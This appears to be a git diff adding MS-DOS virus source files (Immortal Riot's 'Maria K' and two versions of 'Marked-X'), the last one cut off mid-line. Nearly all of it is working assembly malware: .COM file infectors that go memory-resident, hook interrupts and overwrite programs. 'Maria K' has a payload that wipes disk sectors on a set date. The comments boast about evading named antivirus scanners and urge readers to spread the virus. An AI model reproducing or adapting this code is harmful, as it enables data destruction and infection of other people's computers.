[si] ;date + int 21h + + mov ah, 3Eh ;Close file + int 21h + + mov ax, 4301h ;Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ;attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ;do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ;Initialize fingerprint + xor bx, bx ;Zero BX for start + mov ax, cs +Init1: inc bx ;Increment search segment + mov es, bx ;value + cmp ax, bx ;Not installed if we reach + je Not_Installed_Yet ;the current segment + mov si, 100h ;Search segment for + mov di, si ;fingerprint in first + mov cx, 4 ;four bytes + repe cmpsb ;Compare + jne init1 ;If not equal, try another + jmp Quit_Init ;else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ;DS:[SI]->ES:[DI] + + mov ax, 3508h ;Get int 8 handler + int 21h ;put in ES:BX + + mov cs:[duh], bx ;Save old handler + mov cs:[duh+2], es ;in cs:[104h] + + mov ax, 2508h ;Install new handler + mov dx, Int_08_Start ;from DS:DX + int 21h ;Do it + + push es + mov ax, ds:[2Ch] ;Deallocate program + mov es, ax ;environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ;TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + +; these two lines are the "long" line above..pls, but ‚m together.. +; mov dx, (offset int_end - offset int_start + offset part1_end - +; offset Code + 4 + 15 + 128) SHR 4 + + + int 21h + int 20h ;In case of error +Quit_Init: + pop es +Error: ;On error, quit +Quit: + mov ah, 3Bh ;Change directory + mov dx, offset root_dir ;to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ;Change directory + ;Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ;Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ;Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ;DS:SI -> AL + add si, ax ;ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ;Length of string + mov ax, 1300h ; + mov bx, 0070h ;Page 0, inverse video + xor dx, dx ;(0,0) + int 10h ;Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; Please don't just change the notes here included in the virus, and +; claim that it's your production. I know this isn't mine, but afterall, +; you could atleast say that I "renaissanced" it. Cuz mane people actually +; scans their programs nowdays (..or atleast here..), which makes it +; quite stupid to spread a virus which scan etc can find. And well, I'd +; like to get this little shit a bit spread..can you get it for me? :).. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- + +Messages db 0 + db 15, 'Maria K lives..' ; She ain't dead.. + db 21, 'Somewhere in my heart..' ; That's truh..huh? + db 22, 'Somewhere in Sweden..' ; She lives here! + db 26, 'I might be insane..' ; I might be that.. + db 38, 'But the society to blame..' ; Might be true.... + db 40, 'The Unforgiven / Immortal Riot' ; That's me.... + +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + +; Greetings goes out to: Raver, Metal Militia, Scavenger, +; and of-cuz a mega Greeting to Maria K !.. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.maria_k.asm b/MSDOS/Virus.MSDOS.Unknown.maria_k.asm new file mode 100644 index 00000000..1a2d87a2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.maria_k.asm @@ -0,0 +1,625 @@ +; VirusName : Maria K.. +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 26/09/1993 +; +; This is a mutation of the "Bobvirus" written by Phalcon/Skism, +; Many thanks must go to the scratch coder of this one..(DA?) +; +; Mcafee Scan used to find this as "Cloud" Virus, But also +; as the "Beta" Virus. So..two guys in this little babe... +; +; This is a non-overwriting .COM files infector, it doesn't do +; anything to .EXE files, nor command.com. This goes memory +; resident. When it "goes-off", it prints out a "BOBism" every +; 5 minutes. If the virus finds itself in the memory, it will not +; go up again. It will NOT infect a program when you starts it, +; it's just the "printer-part" who is in memory".. +; +; This version is not encrypted as the original one, but instead, +; a hd-trasher has been added, so if some infected file is ran +; at the 2:nd every month, someone (me), will be very pleased.. +; +; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it! +; F-Prot (2.09) DON'T find this and TBScan can't identify it +; as the "original" virus, It says it's some "Unknown Virus". +; +; Okey, think that's all, have phun, and remember, +; livi'n ain't no crime! +; + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of "Bob" messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0606h ; Swedish National Day (0606).. + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh", +; If you finds something to add here, then do! The place he placed his +; string is there the virus identify itselves, and I've failed with get +; the virus to work after some dully attempt to add some meanless shit. +; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!.. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;Part 2 begins: Dis is the D-Cool part +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check +; what day it if, and if it's the second (2:nd) any month, procedure Stone- +; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +DECRYPT: +ENCRYPT: + mov ah,2ah ; Day-Checking.. + int 21h ; + cmp dl,02 ; Check if day 02.. + je STONEHEART ; If So..you're a lucky guy + jmp SORRY ; Otherwise..try with "date 02".. + +STONEHEART: ; Name of her.. + cli ; + mov ah,2 ; Starting right on.. + cwd ; Starting it from 0. + mov cx,0100h ; Continue to 256.... + int 026h ; No Exchauses! + jmp MARIA ; Jump For Joy..(J4J).. + +MARIA: ; Yeah, her's other handle.. + CLI ; + MOV AL,3 ; Continue with drive D.. + MOV CX,700 ; Make drive d's heart fall apart.. + MOV DX,00 ; Start from sector 0 + MOV DS,[DI+99] ; Put random crap in DS + MOV BX,[DI+55] ; More crap in BX + CALL STONEHEART ; J4J..once again.. + +SORRY: ; I'm feeling soo sorry for you! +RET ; Cuz you managed to return! + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; This used to be under Decrypt/Encrypt, but well, since I don't want +; no encryptions in this virus, I just remarked this..And well, Mcaffe's +; Beta String used to be place at "mov di, si", that might also be a little +; reason..Anyhow..since I didn't coded this from scratch, I can't deny you +; from modify in this code..So..Get your Encryption if you wants! +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; MOV si, offset encrypt_val +; ADD si, offset_off +; MOV ah, byte ptr [si] +; MOV cx, offset part2_end - offset bam_bam +; ADD si, offset bam_bam - offset encrypt_val +; MOV di, si ; - "Beta-String used to be here.. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt ; See what to do.. +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 ; Root Dir spec +com_mask db '*.com',0 ; Files to infect +dir_mask db '*.*',0 ; Files to search for.. +back_dir db '..',0 ; Dot-Dot.. +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: ; Proc there Mcaf "cloud" string is placed. + + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + cmp dx, infec_date ; Added this two lines, and + jz Go_Psycho ; "Cloud" string is gone... + mov cx, part1_size + rep movsb + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 + int 21h ; in orig_path + + jc Go_Error + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 06/06? + jz Go_Psycho ; If so, activate + +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho ; Yeah, right! + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Traversal function begins +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ;to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ;*.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ;If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ;and changedir there + int 21h ;Yup, yup + jc short donext ;Do next if invalid + mov si, offset nest ;Else increment nest + add si, offset_off + inc word ptr [si] ;nest++ + call near ptr traverse_fcn ;recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA addr + mov ah,1Ah ;and set DTA to it + int 21h ;cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ;to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Traversal function ends +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ;in order to + add si, offset_off ;halt the D-Cool + mov word ptr [si], 0 ;traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ;to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ;Find first file + mov cx, 0007h ;Any file + mov dx, offset com_mask ;DS:[DX] --> filemask + add dx, offset_off + int 21h ;Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ;I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ;Another loop, + add si, offset_off ;Another infection + dec byte ptr [si] ;Infected three? + jz enuff_for_now ;If so, exit +find_next_file: + mov ah,4Fh ;Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ;??????D.COM? + jz find_next_file ;Don't kill COMMAND.COM + + mov ax,3D00h ;Open channel read ONLY + mov dx, si ;Offset Pathname in DX + sub dx, 6 + int 21h ;Open NOW! + jc find_next_file ;If error, find another + + xchg bx,ax ;bx is now handle + mov ah,3Fh ;Save + mov cx, part1_size ;first part + mov dx, offset buffer ;to buffer + add dx, offset_off ;to be restored + push dx + int 21h ;later + + pop si ;Check for virus ID bytes + ;in the buffer + push si + lodsw ;DS:[SI] -> AX + cmp ax, virus_marker ;Compare it + jnz infect_it ;infect if ID #1 not found + + lodsw ;Check next two bytes + cmp ax, virus_marker2 ;Compare it + jnz infect_it ;infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ;else close the file + int 21h ;and go find another + jmp find_next_file ;'cuz it's already infected + +Signature db 'Immortal Riot' + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +;D-Good Stuff - Infection routine +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ;DS:[SI] -> ES:[DI] + movsw ;Save origtime + movsw ;Save origdate + movsw ;Save filesize + ;Only need LSW + ;because COM files + ;can only be up to + ;65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ;is less than 8 bytes. + +do_again: + mov ah, 2Ch ;get time + int 21h + add dl, dh ;1/100 sec + 1 sec + jz do_again ;Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ;255 mutations + + mov ax, 4301h ;Set file attributes + xor cx, cx ;to nothing + mov dx, si ;filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ;do it now, my child + + mov ah, 3Eh ;Close file + int 21h ;handle in BX + + mov ax, 3D02h ;Open file read/write + int 21h ;Filename offset in DX + jc bomb_out ;Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ;copy filehandle to + ;oldhandle + stosw ;AX -> ES:[DI] + xchg ax, bx ;file handle in BX now + + mov ah, 40h ;Write DS:[DX]->file + mov cx, part1_size - 4 ;number of bytes + mov dx, 0100h ;where code starts + int 21h ;(in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ;write jmp offset + + mov ax, [si] ;AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ;move file ptr + xor cx, cx ;from EOF + xor dx, dx ;offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ;Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ;old time and + add si, 2 + mov dx, word ptr [si] ;date + int 21h + + mov ah, 3Eh ;Close file + int 21h + + mov ax, 4301h ;Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ;attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ;do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ;Initialize fingerprint + xor bx, bx ;Zero BX for start + mov ax, cs +Init1: inc bx ;Increment search segment + mov es, bx ;value + cmp ax, bx ;Not installed if we reach + je Not_Installed_Yet ;the current segment + mov si, 100h ;Search segment for + mov di, si ;fingerprint in first + mov cx, 4 ;four bytes + repe cmpsb ;Compare + jne init1 ;If not equal, try another + jmp Quit_Init ;else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ;DS:[SI]->ES:[DI] + + mov ax, 3508h ;Get int 8 handler + int 21h ;put in ES:BX + + mov cs:[duh], bx ;Save old handler + mov cs:[duh+2], es ;in cs:[104h] + + mov ax, 2508h ;Install new handler + mov dx, Int_08_Start ;from DS:DX + int 21h ;Do it + + push es + mov ax, ds:[2Ch] ;Deallocate program + mov es, ax ;environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ;TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + +; these two lines are the "long" line above..pls, but ‚m together.. +; mov dx, (offset int_end - offset int_start + offset part1_end - +; offset Code + 4 + 15 + 128) SHR 4 + + + int 21h + int 20h ;In case of error +Quit_Init: + pop es +Error: ;On error, quit +Quit: + mov ah, 3Bh ;Change directory + mov dx, offset root_dir ;to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ;Change directory + ;Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ;Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ;Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ;DS:SI -> AL + add si, ax ;ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ;Length of string + mov ax, 1300h ; + mov bx, 0070h ;Page 0, inverse video + xor dx, dx ;(0,0) + int 10h ;Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; Please don't just change the notes here included in the virus, and +; claim that it's your production. I know this isn't mine, but afterall, +; you could atleast say that I "renaissanced" it. Cuz mane people actually +; scans their programs nowdays (..or atleast here..), which makes it +; quite stupid to spread a virus which scan etc can find. And well, I'd +; like to get this little shit a bit spread..can you get it for me? :).. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- + +Messages db 0 + db 15, 'Maria K lives..' ; She ain't dead.. + db 21, 'Somewhere in my heart..' ; That's truh..huh? + db 22, 'Somewhere in Sweden..' ; She lives here! + db 26, 'I might be insane..' ; I might be that.. + db 38, 'But the society to blame..' ; Might be true.... + db 40, 'The Unforgiven / Immortal Riot' ; That's me.... + +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + +; Greetings goes out to: Raver, Metal Militia, Scavenger, +; and of-cuz a mega Greeting to Maria K !.. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.marked-x.asm b/MSDOS/Virus.MSDOS.Unknown.marked-x.asm new file mode 100644 index 00000000..1c9d6e1f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.marked-x.asm @@ -0,0 +1,109 @@ +; Virusname : Marked-X +; Virusauthor: Metal Militia +; Virusgroup : Immortal Riot +; Origin : Sweden +; +; It's a TSR, overwriting infector on files executed. If it's the +; twenty-first of any month it'll print a note and beep one thousand +; times. It also sets time/date to 00-00-00 so nothing will be shown +; in the fields when you take a "dir". It'll print a faked note when +; it goes into memory aswell saying they executed the file's not there. +; Urmm!.. Anyhow, enjoy Insane Reality #4! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; MARKED-X +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +virus segment ; segment's and shit + assume cs:virus,ds:virus + org 100h +start: mov ah,2ah + int 21h + cmp dl,21 + je happy_happy_joy_joy + + mov ah,9h ; Print the faked + mov dx,offset note ; note.. (bad commie or filename) + int 21h + jmp makemegotsr + +happy_happy_joy_joy: + mov ah,9h ; Print the virus note + mov dx,offset society ; to show that we're here + int 21h + + mov cx,1000 ; Print 1000 + mov ax,0e07h ; "beep-letters" +beeper: + int 10h ; to screen + loop beeper ; (results in [ofcause] 1000 beepies) + +makemegotsr: + jmp tsrdata ; Celebrate! now put us as a TSR in memory +new21: pushf ; Pushfar + cmp ah,4bh ; Is a file being run? + jz infect ; If so, infect it + jmp short end21 ; If not, back to old int21 vector + +infect: mov ax,4301h ; Set attrib's to zero, keines, finito + and cl,0feh + int 21h + + mov ax,3d02h ; Open file + int 21h + mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here + push ax ; Push all + push bx + push cx + push dx + push ds + + push cs + pop ds + mov ax,4200h ; Move to beginning (?) + xor cx,cx + cwd + int 21h + mov cx,offset endvir-100h ; What to write + mov ah,40h ; Write it + mov dx,100h ; Offset start + int 21h + cwd ; set date/time + xor cx,cx ; to zero (00-00-00) + + mov ax,5701h ; do that + int 21h + + mov ah,3eh ; close file + int 21h +x21: pop ds ; pop all + pop dx + pop cx + pop bx + pop ax +end21: popf ; pop far + db 0eah ; Jmp far (?) +old21 dw 0,0 ; Where to store the old INT21 +data db 'Marked-X' ; Virus name + db 'Will we ever learn to talk with eachother?' ; Virus poem + db '(c) Metal Militia/Immortal Riot' ; Virus author +society db 'In any country, prison is where society sends it''s',0dh,0ah + db 'failures, but in this country society itself is faily',0dh,0ah + db '$' ; Information note +note db 'Bad command or filename',0dh,0ah + db '$' ; Fake note +tsrdata: + mov ax,3521h ; Hook int21 + int 21h + mov word ptr cs:old21,bx ; Where to but it + mov word ptr cs:old21+2,es + mov dx,offset new21 ; Where's our to be called + mov ax,2521h ; Fix it + int 21h + push cs ; push it + pop ds ; pop it + mov dx,offset endvir ; Put all of us in memory + int 27h ; Do it, TSR (terminate & stay resident) +endvir label byte ; End of file +virus ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.markedx.asm b/MSDOS/Virus.MSDOS.Unknown.markedx.asm new file mode 100644 index 00000000..dceac5ed --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.markedx.asm @@ -0,0 +1,103 @@ +; Name: Marked-X +; Author: Metal Militia/Immortal Riot +; Resident: Yes +; Encryption: No +virus segment +assume cs:virus, ds:virus +org 100h +start: +mov ah,2ah ; Function 2Ah: Get System Date +int 21h ; Retrieve date +cmp dl,21 ; DL = Date ( tests against 21st ) +je Payload ; Its time for the payload, 21st of month +mov ah,9h ; Function 09h: Print String +mov dx,offset note ; Location of decoy note +int 21h ; Explains why the file will not run. +jmp Go_TSR ; Time to go TSR +Payload: +; The test at the beginning proves it to be the 21st, now to +; drop a bomb on victim. +; Prints the payload message to announce wtf is going on. +mov ah,9h ; Function 09h: Print String to Standard output +mov dx,offset society ; Its the message +int 21h ; Tells DOS to announce our presence +mov cx,1000 ; Print 1000 times +mov ax,0E07h ; Function 0Eh: Teletype output + ; 07h = The bell character, makes a beep! +beeper: +int 10h ; Video functions +loop beeper ; Beeps 1000h times, The count in CX +Go_TSR: +jmp tsrdata ; Celebrate! now put us as a TSR in memory +new21: +pushf ; Pushes the Flags Register +cmp ah,4bh ; Function 4Bh: Execute program +jz infect ; If a file is being run, infect it. +jmp short end21 ; If a file is not being run then we + ; must head back to the old INT 21h. +infect: +mov ax,4301h ; Function 4301h: Set Attributes +and cl,0feh ; Keeps all File attributes 'cept read-only +int 21h ; Makes the file writeable +mov ax,3d02h ; Function 3D02h: Open File for Read/Write access +int 21h +mov bx,ax ; Puts file handle in BX +push ax ; Push all +push bx +push cx +push dx +push ds +push cs +pop ds +mov ax,4200h ; Move to beginning of victim file +xor cx,cx +cwd +int 21h +mov 